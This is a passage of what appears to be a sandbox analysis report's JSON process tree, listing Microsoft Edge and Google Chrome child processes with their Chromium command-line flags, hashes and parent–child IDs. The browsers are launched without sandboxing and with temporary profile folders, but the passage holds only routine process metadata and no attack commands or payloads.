--metrics-shmem-handle=3172,i,14504203974186335816,3291551006934558397,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=4888 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00000312"},{"pid":776,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2526540739 --skip-read-main-dll --metrics-shmem-handle=3460,i,7698393735735058657,11447576144750238817,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=4948 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00000776"},{"pid":1692,"ppid":7752,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --skip-read-main-dll --metrics-shmem-handle=3548,i,3629151096642193505,17331351076927854797,524288 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=4912 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00001692"},{"pid":2756,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2527020807 --skip-read-main-dll --metrics-shmem-handle=3572,i,17916242909100943126,3470579298083047021,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=4856 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00002756"},{"pid":936,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2527271382 --skip-read-main-dll --metrics-shmem-handle=3620,i,17209351608039087243,2968266374874066882,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708995682289984 --mojo-platform-channel-handle=5024 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00000936"},{"pid":7640,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2527508941 --skip-read-main-dll --metrics-shmem-handle=3652,i,10748417426877790385,9769135253363039466,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708996619331833 --mojo-platform-channel-handle=5044 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00007640"},{"pid":7952,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2528158710 --skip-read-main-dll --metrics-shmem-handle=3684,i,5929878763740370448,15275259875872210368,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=5112 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00007952"},{"pid":3044,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2528528112 --skip-read-main-dll --metrics-shmem-handle=3736,i,10725263977784947393,4836732874049295478,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708998493415531 --mojo-platform-channel-handle=3948 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00003044"},{"pid":7204,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2528867833 --skip-read-main-dll --metrics-shmem-handle=3764,i,7211635083049899476,227533927760054042,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190708999430457380 --mojo-platform-channel-handle=5196 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00007204"},{"pid":8124,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2529193706 --skip-read-main-dll --metrics-shmem-handle=3780,i,11226172908025895850,12983629082047822848,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190709000367499229 --mojo-platform-channel-handle=5168 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00008124"},{"pid":5488,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2529605935 --skip-read-main-dll --metrics-shmem-handle=3812,i,1246711208483623059,6961256887613805369,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190709001304541078 --mojo-platform-channel-handle=3760 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00005488"},{"pid":5832,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2530118755 --skip-read-main-dll --metrics-shmem-handle=3836,i,1324964392086161875,12213488799103110548,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190709002241582927 --mojo-platform-channel-handle=5324 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00005832"},{"pid":1104,"ppid":7752,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\xj3zl1ra.z2q\" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --time-ticks-at-unix-epoch=-1776361946780932 --launch-time-ticks=2530570622 --skip-read-main-dll --metrics-shmem-handle=3860,i,12378034792699480710,4094003296034387722,2097152 --field-trial-handle=2388,i,3342473954160120691,15100938616128892574,262144 --variations-seed-version --trace-process-track-uuid=3190709003178624776 --mojo-platform-channel-handle=3796 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00001104"},{"pid":4200,"ppid":6772,"name":"msedge.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00006772","uid":"00000000-00004200"},{"pid":2468,"ppid":4200,"name":"msedge.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\bvhj5y2v.rlr /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\bvhj5y2v.rlr\\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=145.0.7632.76 \"--annotation=exe=%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=145.0.3800.58 --initial-client-data=0x210,0x214,0x218,0x20c,0x234,0x7ffec3af0f18,0x7ffec3af0f24,0x7ffec3af0f30","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00002468"},{"pid":7620,"ppid":4200,"name":"msedge.exe","command_line":"--type=gpu-process --no-sandbox --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --startup-read-main-dll --metrics-shmem-handle=1804,i,15533710262236778008,16151374292479671788,262144 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=2300 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00007620"},{"pid":4292,"ppid":4200,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --startup-read-main-dll --metrics-shmem-handle=1884,i,12057915396490039899,16664437038645168491,524288 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=4352 /prefetch:3","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00004292"},{"pid":6444,"ppid":4200,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --startup-read-main-dll --metrics-shmem-handle=1940,i,18253320091160731395,17935122697310895480,524288 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=4780 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00006444"},{"pid":1064,"ppid":4200,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1776361946780931 --launch-time-ticks=2533160461 --ssd-no-pressure-read-main-dll --metrics-shmem-handle=2696,i,12162069114593133523,5278168261291519940,2097152 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=4628 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00001064"},{"pid":1748,"ppid":4200,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --instant-process --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1776361946780931 --launch-time-ticks=2533564331 --skip-read-main-dll --metrics-shmem-handle=2708,i,16751490381674806498,10836734641391423451,2097152 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=4840 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00001748"},{"pid":2848,"ppid":4200,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --time-ticks-at-unix-epoch=-1776361946780931 --launch-time-ticks=2534069623 --skip-read-main-dll --metrics-shmem-handle=2872,i,7320624343677245074,12730343811424026512,2097152 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708992871164437 --mojo-platform-channel-handle=4992 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00002848"},{"pid":540,"ppid":4200,"name":"msedge.exe","command_line":"--type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --skip-read-main-dll --metrics-shmem-handle=2956,i,15502454887503018891,10658276452933395665,524288 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=5020 /prefetch:8","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00000540"},{"pid":6124,"ppid":4200,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --time-ticks-at-unix-epoch=-1776361946780931 --launch-time-ticks=2534823908 --skip-read-main-dll --metrics-shmem-handle=2992,i,12257755794559323421,5287933649240413075,2097152 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708994745248135 --mojo-platform-channel-handle=2872 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00006124"},{"pid":5956,"ppid":4200,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --time-ticks-at-unix-epoch=-1776361946780931 --launch-time-ticks=2535302225 --skip-read-main-dll --metrics-shmem-handle=3008,i,3033458777604084268,10029073115875609377,2097152 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708995682289984 --mojo-platform-channel-handle=5036 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00005956"},{"pid":1128,"ppid":4200,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --time-ticks-at-unix-epoch=-1776361946780931 --launch-time-ticks=2535650019 --skip-read-main-dll --metrics-shmem-handle=3028,i,2448170249405693634,12801688028315845298,2097152 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708996619331833 --mojo-platform-channel-handle=4856 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00001128"},{"pid":5988,"ppid":4200,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --time-ticks-at-unix-epoch=-1776361946780931 --launch-time-ticks=2535998282 --skip-read-main-dll --metrics-shmem-handle=3080,i,16936896840253128518,14496429403465424789,2097152 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=5196 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00005988"},{"pid":1724,"ppid":4200,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --time-ticks-at-unix-epoch=-1776361946780931 --launch-time-ticks=2536370317 --skip-read-main-dll --metrics-shmem-handle=3104,i,7323494891618827654,16544062335016095520,2097152 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708998493415531 --mojo-platform-channel-handle=5240 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00001724"},{"pid":5672,"ppid":4200,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --time-ticks-at-unix-epoch=-1776361946780931 --launch-time-ticks=2536851397 --skip-read-main-dll --metrics-shmem-handle=3136,i,6041895121913868198,17771400277135575465,2097152 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190708999430457380 --mojo-platform-channel-handle=5288 /prefetch:2","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00005672"},{"pid":4584,"ppid":4200,"name":"msedge.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\bvhj5y2v.rlr\" --pdf-upsell-enabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --time-ticks-at-unix-epoch=-1776361946780931 --launch-time-ticks=2537149685 --skip-read-main-dll --metrics-shmem-handle=3160,i,1542670845598734144,12714227345626517851,2097152 --field-trial-handle=2304,i,17669980048870375532,3363849576952657668,262144 --variations-seed-version --trace-process-track-uuid=3190709000367499229 --mojo-platform-channel-handle=5324 /prefetch:1","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00004200","uid":"00000000-00004584"},{"pid":4728,"ppid":6772,"name":"chrome.exe","command_line":"--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=\"%TEMP%\\zrdealgv.vdx\"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00006772","uid":"00000000-00004728"},{"pid":2336,"ppid":4728,"name":"chrome.exe","command_line":"--type=crashpad-handler --user-data-dir=%TEMP%\\zrdealgv.vdx /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=%TEMP%\\zrdealgv.vdx\\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=144.0.7559.133 --initial-client-data=0xb8,0xbc,0xc0,0x94,0xc4,0x7ffec9160068,0x7ffec9160074,0x7ffec9160080","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004728","uid":"00000000-00002336"},{"pid":4740,"ppid":4728,"name":"chrome.exe","command_line":"--type=gpu-process --no-sandbox --user-data-dir=\"%TEMP%\\zrdealgv.vdx\" --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=d3d11-warp-webgl --metrics-shmem-handle=1572,i,11595763081057572036,13244132864883047095,262144 --field-trial-handle=1812,i,3794448288358041764,7979617082329029197,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1808 /prefetch:2","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004728","uid":"00000000-00004740"},{"pid":3488,"ppid":4728,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\zrdealgv.vdx\" --no-pre-read-main-dll --metrics-shmem-handle=1852,i,6588646085124888112,6426046349276917529,524288 --field-trial-handle=1812,i,3794448288358041764,7979617082329029197,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=3984 /prefetch:3","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004728","uid":"00000000-00003488"},{"pid":7532,"ppid":4728,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir=\"%TEMP%\\zrdealgv.vdx\" --no-pre-read-main-dll --metrics-shmem-handle=1876,i,3271721332583463961,68583065176573091,524288 --field-trial-handle=1812,i,3794448288358041764,7979617082329029197,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=3368 /prefetch:8","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004728","uid":"00000000-00007532"},{"pid":1856,"ppid":4728,"name":"chrome.exe","command_line":"--type=renderer --user-data-dir=\"%TEMP%\\zrdealgv.vdx\" --no-pre-read-main-dll --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1776361946780933 --launch-time-ticks=2538743674 --metrics-shmem-handle=2832,i,14963511726442122141,2820535107088406446,2097152 --field-trial-handle=1812,i,3794448288358041764,7979617082329029197,262144 --variations-seed-version=20260130-010011.354000 --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=4216 